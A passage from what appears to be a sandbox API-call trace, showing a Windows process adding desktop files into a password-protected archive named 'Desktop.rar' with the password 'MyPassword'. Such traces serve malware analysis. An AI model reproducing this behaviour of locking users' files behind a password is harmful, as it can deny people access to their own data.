dwMilliseconds=0xffffffff) returned 0x0 [0068.328] GetTickCount () returned 0x26f89 [0068.328] QueryPerformanceCounter (in: lpPerformanceCount=0xe414dd580 | out: lpPerformanceCount=0xe414dd580*=15965708369) returned 1 [0068.329] GetTickCount () returned 0x26f89 [0068.329] GetTickCount () returned 0x26f89 [0068.329] GetTickCount () returned 0x26f89 [0068.329] PeekMessageW (in: lpMsg=0xe414dd650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd650) returned 1 [0068.329] GetMessageW (in: lpMsg=0xe414dd5e0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xe414dd5e0) returned 1 [0068.329] GetFocus () returned 0x102a8 [0068.329] IsDialogMessageW (hDlg=0x10284, lpMsg=0xe414dd5e0) returned 1 [0068.329] PeekMessageW (in: lpMsg=0xe414dd650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd650) returned 1 [0068.330] GetMessageW (in: lpMsg=0xe414dd5e0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xe414dd5e0) returned 1 [0068.330] GetFocus () returned 0x102a8 [0068.330] IsDialogMessageW (hDlg=0x10284, lpMsg=0xe414dd5e0) returned 1 [0068.330] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.330] PeekMessageW (in: lpMsg=0xe414dd3d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd3d0) returned 0 [0068.331] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.331] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0xe414dd460*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0xe414dd460*=0) returned 0x1a8d6c [0068.331] SetFilePointer (in: hFile=0x32c, lDistanceToMove=93, lpDistanceToMoveHigh=0xe414dd430*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0xe414dd430*=0) returned 0x1a8dc9 [0068.331] CryptUnprotectMemory (in: pDataIn=0xe414dd2e0, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0xe414dd2e0) returned 1 [0068.331] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="MyPassword", cchWideChar=-1, lpMultiByteStr=0xe414dd260, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MyPassword", lpUsedDefaultChar=0x0) returned 11 [0068.331] CryptUnprotectMemory (in: pDataIn=0xe414dccc0, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0xe414dccc0) returned 1 [0068.331] CryptUnprotectMemory (in: pDataIn=0xe414dcdc0, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0xe414dcdc0) returned 1 [0068.331] CryptUnprotectMemory (in: pDataIn=0xe414dcf40, cbDataIn=0x20, dwFlags=0x0 | out: pDataIn=0xe414dcf40) returned 1 [0068.331] WriteFile (in: hFile=0x32c, lpBuffer=0x1ec0bfefdd0*, nNumberOfBytesToWrite=0x1f10, lpNumberOfBytesWritten=0xe414dd460, lpOverlapped=0x0 | out: lpBuffer=0x1ec0bfefdd0*, lpNumberOfBytesWritten=0xe414dd460*=0x1f10, lpOverlapped=0x0) returned 1 [0068.331] PeekMessageW (in: lpMsg=0xe414dd3d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd3d0) returned 0 [0068.331] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.331] SetFilePointer (in: hFile=0x32c, lDistanceToMove=1740140, lpDistanceToMoveHigh=0xe414dd420*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0xe414dd420*=0) returned 0x1a8d6c [0068.331] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0xe414d9b00*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0xe414d9b00*=0) returned 0x1a8d6c [0068.331] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0bfef910 [0068.331] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0bfef940 [0068.331] RtlReAllocateHeap (Heap=0x1ec0a590000, Flags=0x0, Ptr=0x1ec0bfef940, Size=0x48) returned 0x1ec0a656b50 [0068.331] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x30) returned 0x1ec0a63c400 [0068.331] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0bfef940 [0068.332] RtlReAllocateHeap (Heap=0x1ec0a590000, Flags=0x0, Ptr=0x1ec0bfef940, Size=0x48) returned 0x1ec0a656f10 [0068.332] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a63c400 | out: hHeap=0x1ec0a590000) returned 1 [0068.332] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a656b50 | out: hHeap=0x1ec0a590000) returned 1 [0068.332] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0bfef970 [0068.332] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0bfef940 [0068.332] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0bfef940 | out: hHeap=0x1ec0a590000) returned 1 [0068.332] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0bfef970 | out: hHeap=0x1ec0a590000) returned 1 [0068.332] RtlReAllocateHeap (Heap=0x1ec0a590000, Flags=0x0, Ptr=0x1ec0bfef910, Size=0x48) returned 0x1ec0a656c90 [0068.332] RtlReAllocateHeap (Heap=0x1ec0a590000, Flags=0x0, Ptr=0x1ec0a656c90, Size=0x7a) returned 0x1ec0a649ec0 [0068.332] WriteFile (in: hFile=0x32c, lpBuffer=0x1ec0a649ec3*, nNumberOfBytesToWrite=0x5d, lpNumberOfBytesWritten=0xe414d8140, lpOverlapped=0x0 | out: lpBuffer=0x1ec0a649ec3*, lpNumberOfBytesWritten=0xe414d8140*=0x5d, lpOverlapped=0x0) returned 1 [0068.332] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0bfefa30 [0068.332] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x5d) returned 0x1ec0ddfda60 [0068.332] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a656f10 | out: hHeap=0x1ec0a590000) returned 1 [0068.332] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a649ec0 | out: hHeap=0x1ec0a590000) returned 1 [0068.332] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0xe414dd420*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0xe414dd420*=0) returned 0x1aacd9 [0068.332] CloseHandle (hObject=0x350) returned 1 [0068.332] PeekMessageW (in: lpMsg=0xe414dd680, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd680) returned 0 [0068.332] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.332] PeekMessageW (in: lpMsg=0xe414dd720, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd720) returned 0 [0068.332] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.332] FindFirstFileW (in: lpFileName="sKJ-dBYfyDB.swf", lpFindFileData=0xe414dc4e0 | out: lpFindFileData=0xe414dc4e0) returned 0x1ec0de09bf0 [0068.332] FindClose (in: hFindFile=0x1ec0de09bf0 | out: hFindFile=0x1ec0de09bf0) returned 1 [0068.332] CreateFileW (lpFileName="sKJ-dBYfyDB.swf" (normalized: "c:\\users\\fd1hvy\\desktop\\skj-dbyfydb.swf"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8000000, hTemplateFile=0x0) returned 0x350 [0068.332] LoadStringW (in: hInstance=0x7ff6f74d0000, uID=0x21c, lpBuffer=0x7ff6f7650630, cchBufferMax=512 | out: lpBuffer="adding") returned 0x6 [0068.333] GetTickCount () returned 0x26f89 [0068.333] GetWindowTextW (in: hWnd=0x10284, lpString=0xe414dd340, nMaxCount=512 | out: lpString="Creating archive Desktop.rar") returned 28 [0068.333] GetDlgItem (hDlg=0x10284, nIDDlgItem=156) returned 0x1028a [0068.333] GetWindowTextW (in: hWnd=0x1028a, lpString=0xe414dbef0, nMaxCount=2560 | out: lpString="adding") returned 6 [0068.333] GetDlgItem (hDlg=0x10284, nIDDlgItem=155) returned 0x1028c [0068.333] GetWindowTextW (in: hWnd=0x1028c, lpString=0xe414dbef0, nMaxCount=2560 | out: lpString="rnJlU.swf") returned 9 [0068.333] SetWindowTextW (hWnd=0x1028c, lpString="sKJ-dBYfyDB.swf") returned 1 [0068.333] GetTickCount () returned 0x26f89 [0068.333] PeekMessageW (in: lpMsg=0xe414dd720, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd720) returned 0 [0068.333] CryptAcquireContextW (in: phProv=0xe414dd6d0, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0xe414dd6d0*=0x1ec0a653e60) returned 1 [0068.334] CryptGenRandom (in: hProv=0x1ec0a653e60, dwLen=0x10, pbBuffer=0xe414dd750 | out: pbBuffer=0xe414dd750) returned 1 [0068.334] CryptReleaseContext (hProv=0x1ec0a653e60, dwFlags=0x0) returned 1 [0068.334] GetSystemTime (in: lpSystemTime=0xe414dd668 | out: lpSystemTime=0xe414dd668*(wYear=0x7e3, wMonth=0x3, wDayOfWeek=0x0, wDay=0x1f, wHour=0x15, wMinute=0xd, wSecond=0x2d, wMilliseconds=0x333)) [0068.334] SystemTimeToFileTime (in: lpSystemTime=0xe414dd668, lpFileTime=0xe414dd660 | out: lpFileTime=0xe414dd660) returned 1 [0068.334] QueryPerformanceCounter (in: lpPerformanceCount=0xe414dd690 | out: lpPerformanceCount=0xe414dd690*=15966226750) returned 1 [0068.334] ReadFile (in: hFile=0x350, lpBuffer=0x1ec0d905040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0xe414dd770, lpOverlapped=0x0 | out: lpBuffer=0x1ec0d905040*, lpNumberOfBytesRead=0xe414dd770*=0x13adb, lpOverlapped=0x0) returned 1 [0068.334] ReadFile (in: hFile=0x350, lpBuffer=0x1ec0d918b1b, nNumberOfBytesToRead=0xec525, lpNumberOfBytesRead=0xe414dd770, lpOverlapped=0x0 | out: lpBuffer=0x1ec0d918b1b*, lpNumberOfBytesRead=0xe414dd770*=0x0, lpOverlapped=0x0) returned 1 [0068.335] PeekMessageW (in: lpMsg=0xe414dd680, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd680) returned 0 [0068.335] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.335] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0bfef910 [0068.335] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0bfef940 [0068.335] RtlReAllocateHeap (Heap=0x1ec0a590000, Flags=0x0, Ptr=0x1ec0bfef940, Size=0x48) returned 0x1ec0a656b50 [0068.335] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x30) returned 0x1ec0a63c400 [0068.335] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0bfef940 [0068.335] RtlReAllocateHeap (Heap=0x1ec0a590000, Flags=0x0, Ptr=0x1ec0bfef940, Size=0x48) returned 0x1ec0a6577d0 [0068.335] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a63c400 | out: hHeap=0x1ec0a590000) returned 1 [0068.335] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a656b50 | out: hHeap=0x1ec0a590000) returned 1 [0068.335] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0bfef940 [0068.335] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0bfef970 [0068.335] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0bfef970 | out: hHeap=0x1ec0a590000) returned 1 [0068.335] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0bfef940 | out: hHeap=0x1ec0a590000) returned 1 [0068.335] RtlReAllocateHeap (Heap=0x1ec0a590000, Flags=0x0, Ptr=0x1ec0bfef910, Size=0x48) returned 0x1ec0a6569c0 [0068.335] RtlReAllocateHeap (Heap=0x1ec0a590000, Flags=0x0, Ptr=0x1ec0a6569c0, Size=0x7a) returned 0x1ec0a649ec0 [0068.335] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a6577d0 | out: hHeap=0x1ec0a590000) returned 1 [0068.335] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a649ec0 | out: hHeap=0x1ec0a590000) returned 1 [0068.335] GetTickCount () returned 0x26f89 [0068.335] QueryPerformanceCounter (in: lpPerformanceCount=0xe414dd5b0 | out: lpPerformanceCount=0xe414dd5b0*=15966389078) returned 1 [0068.335] GetTickCount () returned 0x26f89 [0068.335] GetTickCount () returned 0x26f89 [0068.335] GetTickCount () returned 0x26f89 [0068.335] PeekMessageW (in: lpMsg=0xe414dd680, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd680) returned 0 [0068.335] PeekMessageW (in: lpMsg=0xe414dd680, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd680) returned 0 [0068.335] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.335] ResetEvent (hEvent=0x344) returned 1 [0068.335] ReleaseSemaphore (in: hSemaphore=0x340, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0068.337] WaitForSingleObject (hHandle=0x344, dwMilliseconds=0xffffffff) returned 0x0 [0068.337] ResetEvent (hEvent=0x344) returned 1 [0068.337] ReleaseSemaphore (in: hSemaphore=0x340, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0068.341] WaitForSingleObject (hHandle=0x344, dwMilliseconds=0xffffffff) returned 0x0 [0068.341] ResetEvent (hEvent=0x344) returned 1 [0068.342] ReleaseSemaphore (in: hSemaphore=0x340, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0068.344] WaitForSingleObject (hHandle=0x344, dwMilliseconds=0xffffffff) returned 0x0 [0068.344] GetTickCount () returned 0x26f98 [0068.344] QueryPerformanceCounter (in: lpPerformanceCount=0xe414dd580 | out: lpPerformanceCount=0xe414dd580*=15967229968) returned 1 [0068.344] GetTickCount () returned 0x26f98 [0068.344] GetTickCount () returned 0x26f98 [0068.344] GetTickCount () returned 0x26f98 [0068.344] PeekMessageW (in: lpMsg=0xe414dd650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd650) returned 1 [0068.344] GetMessageW (in: lpMsg=0xe414dd5e0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xe414dd5e0) returned 1 [0068.344] GetFocus () returned 0x102a8 [0068.344] IsDialogMessageW (hDlg=0x10284, lpMsg=0xe414dd5e0) returned 0 [0068.344] GetKeyState (nVirtKey=16) returned 0 [0068.344] TranslateAcceleratorW (hWnd=0x10284, hAccTable=0x10335, lpMsg=0xe414dd5e0) returned 0 [0068.344] TranslateMessage (lpMsg=0xe414dd5e0) returned 0 [0068.344] DispatchMessageW (lpMsg=0xe414dd5e0) returned 0x7f71 [0068.344] PeekMessageW (in: lpMsg=0xe414dd650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd650) returned 0 [0068.344] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.344] ResetEvent (hEvent=0x33c) returned 1 [0068.344] ReleaseSemaphore (in: hSemaphore=0x338, lReleaseCount=3, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0068.345] WaitForSingleObject (hHandle=0x33c, dwMilliseconds=0xffffffff) returned 0x0 [0068.345] ResetEvent (hEvent=0x33c) returned 1 [0068.345] ReleaseSemaphore (in: hSemaphore=0x338, lReleaseCount=3, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0068.346] WaitForSingleObject (hHandle=0x33c, dwMilliseconds=0xffffffff) returned 0x0 [0068.346] PeekMessageW (in: lpMsg=0xe414dd3d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd3d0) returned 0 [0068.346] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.346] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0xe414dd460*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0xe414dd460*=0) returned 0x1aacd9 [0068.346] SetFilePointer (in: hFile=0x32c, lDistanceToMove=99, lpDistanceToMoveHigh=0xe414dd430*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0xe414dd430*=0) returned 0x1aad3c [0068.346] CryptUnprotectMemory (in: pDataIn=0xe414dd2e0, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0xe414dd2e0) returned 1 [0068.346] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="MyPassword", cchWideChar=-1, lpMultiByteStr=0xe414dd260, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MyPassword", lpUsedDefaultChar=0x0) returned 11 [0068.346] CryptUnprotectMemory (in: pDataIn=0xe414dccc0, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0xe414dccc0) returned 1 [0068.346] CryptUnprotectMemory (in: pDataIn=0xe414dcdc0, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0xe414dcdc0) returned 1 [0068.346] CryptUnprotectMemory (in: pDataIn=0xe414dcf40, cbDataIn=0x20, dwFlags=0x0 | out: pDataIn=0xe414dcf40) returned 1 [0068.346] WriteFile (in: hFile=0x32c, lpBuffer=0x1ec0bfefdd0*, nNumberOfBytesToWrite=0x13b80, lpNumberOfBytesWritten=0xe414dd460, lpOverlapped=0x0 | out: lpBuffer=0x1ec0bfefdd0*, lpNumberOfBytesWritten=0xe414dd460*=0x13b80, lpOverlapped=0x0) returned 1 [0068.347] PeekMessageW (in: lpMsg=0xe414dd3d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd3d0) returned 0 [0068.347] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.348] SetFilePointer (in: hFile=0x32c, lDistanceToMove=1748185, lpDistanceToMoveHigh=0xe414dd420*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0xe414dd420*=0) returned 0x1aacd9 [0068.348] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0xe414d9b00*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0xe414d9b00*=0) returned 0x1aacd9 [0068.348] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0bfef910 [0068.348] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0bfefa00 [0068.348] RtlReAllocateHeap (Heap=0x1ec0a590000, Flags=0x0, Ptr=0x1ec0bfefa00, Size=0x48) returned 0x1ec0a6577d0 [0068.348] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x30) returned 0x1ec0a63c740 [0068.348] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0bfef940 [0068.348] RtlReAllocateHeap (Heap=0x1ec0a590000, Flags=0x0, Ptr=0x1ec0bfef940, Size=0x48) returned 0x1ec0a656f10 [0068.348] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a63c740 | out: hHeap=0x1ec0a590000) returned 1 [0068.348] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a6577d0 | out: hHeap=0x1ec0a590000) returned 1 [0068.348] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0bfefa90 [0068.348] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0bfef940 [0068.348] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0bfef940 | out: hHeap=0x1ec0a590000) returned 1 [0068.348] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0bfefa90 | out: hHeap=0x1ec0a590000) returned 1 [0068.348] RtlReAllocateHeap (Heap=0x1ec0a590000, Flags=0x0, Ptr=0x1ec0bfef910, Size=0x48) returned 0x1ec0a657460 [0068.348] RtlReAllocateHeap (Heap=0x1ec0a590000, Flags=0x0, Ptr=0x1ec0a657460, Size=0x7a) returned 0x1ec0a649ec0 [0068.348] WriteFile (in: hFile=0x32c, lpBuffer=0x1ec0a649ec3*, nNumberOfBytesToWrite=0x63, lpNumberOfBytesWritten=0xe414d8140, lpOverlapped=0x0 | out: lpBuffer=0x1ec0a649ec3*, lpNumberOfBytesWritten=0xe414d8140*=0x63, lpOverlapped=0x0) returned 1 [0068.348] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0bfef910 [0068.348] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x63) returned 0x1ec0ddfe4e0 [0068.348] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a656f10 | out: hHeap=0x1ec0a590000) returned 1 [0068.348] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a649ec0 | out: hHeap=0x1ec0a590000) returned 1 [0068.348] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0xe414dd420*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0xe414dd420*=0) returned 0x1be8bc [0068.348] CloseHandle (hObject=0x350) returned 1 [0068.348] PeekMessageW (in: lpMsg=0xe414dd680, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd680) returned 0 [0068.348] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.348] PeekMessageW (in: lpMsg=0xe414dd720, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd720) returned 0 [0068.348] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.348] FindFirstFileW (in: lpFileName="Sn MlQKdcUAQKuOMiL.mp4", lpFindFileData=0xe414dc4e0 | out: lpFindFileData=0xe414dc4e0) returned 0x1ec0de09d10 [0068.349] FindClose (in: hFindFile=0x1ec0de09d10 | out: hFindFile=0x1ec0de09d10) returned 1 [0068.349] CreateFileW (lpFileName="Sn MlQKdcUAQKuOMiL.mp4" (normalized: "c:\\users\\fd1hvy\\desktop\\sn mlqkdcuaqkuomil.mp4"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8000000, hTemplateFile=0x0) returned 0x350 [0068.349] LoadStringW (in: hInstance=0x7ff6f74d0000, uID=0x21c, lpBuffer=0x7ff6f7650a30, cchBufferMax=512 | out: lpBuffer="adding") returned 0x6 [0068.349] GetTickCount () returned 0x26f98 [0068.349] GetWindowTextW (in: hWnd=0x10284, lpString=0xe414dd340, nMaxCount=512 | out: lpString="Creating archive Desktop.rar") returned 28 [0068.349] GetDlgItem (hDlg=0x10284, nIDDlgItem=156) returned 0x1028a [0068.349] GetWindowTextW (in: hWnd=0x1028a, lpString=0xe414dbef0, nMaxCount=2560 | out: lpString="adding") returned 6 [0068.349] GetDlgItem (hDlg=0x10284, nIDDlgItem=155) returned 0x1028c [0068.349] GetWindowTextW (in: hWnd=0x1028c, lpString=0xe414dbef0, nMaxCount=2560 | out: lpString="sKJ-dBYfyDB.swf") returned 15 [0068.349] SetWindowTextW (hWnd=0x1028c, lpString="Sn MlQKdcUAQKuOMiL.mp4") returned 1 [0068.350] GetTickCount () returned 0x26f98 [0068.350] PeekMessageW (in: lpMsg=0xe414dd720, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd720) returned 0 [0068.350] CryptAcquireContextW (in: phProv=0xe414dd6d0, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0xe414dd6d0*=0x1ec0a653e60) returned 1 [0068.350] CryptGenRandom (in: hProv=0x1ec0a653e60, dwLen=0x10, pbBuffer=0xe414dd750 | out: pbBuffer=0xe414dd750) returned 1 [0068.350] CryptReleaseContext (hProv=0x1ec0a653e60, dwFlags=0x0) returned 1 [0068.350] GetSystemTime (in: lpSystemTime=0xe414dd668 | out: lpSystemTime=0xe414dd668*(wYear=0x7e3, wMonth=0x3, wDayOfWeek=0x0, wDay=0x1f, wHour=0x15, wMinute=0xd, wSecond=0x2d, wMilliseconds=0x343)) [0068.350] SystemTimeToFileTime (in: lpSystemTime=0xe414dd668, lpFileTime=0xe414dd660 | out: lpFileTime=0xe414dd660) returned 1 [0068.350] QueryPerformanceCounter (in: lpPerformanceCount=0xe414dd690 | out: lpPerformanceCount=0xe414dd690*=15967866206) returned 1 [0068.350] ReadFile (in: hFile=0x350, lpBuffer=0x1ec0d905040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0xe414dd770, lpOverlapped=0x0 | out: lpBuffer=0x1ec0d905040*, lpNumberOfBytesRead=0xe414dd770*=0xc2bb, lpOverlapped=0x0) returned 1 [0068.351] ReadFile (in: hFile=0x350, lpBuffer=0x1ec0d9112fb, nNumberOfBytesToRead=0xf3d45, lpNumberOfBytesRead=0xe414dd770, lpOverlapped=0x0 | out: lpBuffer=0x1ec0d9112fb*, lpNumberOfBytesRead=0xe414dd770*=0x0, lpOverlapped=0x0) returned 1 [0068.351] PeekMessageW (in: lpMsg=0xe414dd680, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd680) returned 0 [0068.351] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.351] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0bfefa90 [0068.351] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0bfef940 [0068.351] RtlReAllocateHeap (Heap=0x1ec0a590000, Flags=0x0, Ptr=0x1ec0bfef940, Size=0x48) returned 0x1ec0a656fb0 [0068.351] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x30) returned 0x1ec0a63c980 [0068.351] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0bfef940 [0068.351] RtlReAllocateHeap (Heap=0x1ec0a590000, Flags=0x0, Ptr=0x1ec0bfef940, Size=0x48) returned 0x1ec0a6577d0 [0068.351] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a63c980 | out: hHeap=0x1ec0a590000) returned 1 [0068.351] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a656fb0 | out: hHeap=0x1ec0a590000) returned 1 [0068.351] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0bfef940 [0068.351] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0bfef970 [0068.351] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0bfef970 | out: hHeap=0x1ec0a590000) returned 1 [0068.351] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0bfef940 | out: hHeap=0x1ec0a590000) returned 1 [0068.351] RtlReAllocateHeap (Heap=0x1ec0a590000, Flags=0x0, Ptr=0x1ec0bfefa90, Size=0x48) returned 0x1ec0a6569c0 [0068.351] RtlReAllocateHeap (Heap=0x1ec0a590000, Flags=0x0, 